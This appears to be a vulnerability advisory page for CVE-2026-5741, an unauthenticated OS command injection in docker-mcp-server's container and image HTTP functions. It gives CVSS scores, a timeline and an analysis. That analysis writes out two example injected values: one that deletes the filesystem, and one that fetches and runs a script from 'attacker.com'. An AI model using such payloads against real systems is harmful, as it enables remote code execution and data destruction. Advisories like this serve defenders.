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Docker EUVD-2026-19933

| CVE-2026-5741 MEDIUM
OS Command Injection (CWE-78)
2026-04-07 VulDB
5.5
CVSS 4.0 · NVD
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Severity by source

NVD PRIMARY
5.5 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

5
CVSS changed
Apr 29, 2026 - 01:11 NVD
6.9 (MEDIUM) 5.5 (MEDIUM)
PoC Detected
Apr 08, 2026 - 21:27 vuln.today
Public exploit code
EUVD ID Assigned
Apr 07, 2026 - 20:16 euvd
EUVD-2026-19933
Analysis Generated
Apr 07, 2026 - 20:16 vuln.today
CVE Published
Apr 07, 2026 - 20:00 nvd
MEDIUM 6.9

DescriptionCVE.org

A weakness has been identified in suvarchal docker-mcp-server up to 0.1.0. The impacted element is the function stop_container/remove_container/pull_image of the file src/index.ts of the component HTTP Interface. This manipulation causes os command injection. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks. The project was informed of the problem early through an issue report but has not responded yet.

AnalysisAI

Remote code execution via OS command injection in suvarchal docker-mcp-server through 0.1.0 allows unauthenticated attackers to execute arbitrary commands by manipulating the stop_container, remove_container, or pull_image HTTP interface functions. Publicly available exploit code exists, and while the vendor was notified early through GitHub issue #3, no patch has been released as of the analysis date.

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Vulnerability AssessmentAI

Risk Assessment This vulnerability presents substantial real-world risk despite a moderate CVSS score of 6.9. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker sends a crafted HTTP request to the docker-mcp-server interface targeting one of the vulnerable functions (e.g., /stop_container or /pull_image) with a malicious parameter containing shell metacharacters and OS commands (e.g., 'container_id; rm -rf /' or 'image; curl attacker.com/malware.sh | bash'). Since authentication is not required (PR:N per CVSSv4) and the HTTP interface accepts direct input without sanitization, the injected command executes on the host system with the privileges of the docker-mcp-server process, potentially gaining full system control if the service runs as root. …
Remediation No vendor-released patch identified at time of analysis; the project has not responded to early notification. … Detailed patch versions, workarounds, and compensating controls in full report.

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EUVD-2026-19933 vulnerability details – vuln.today

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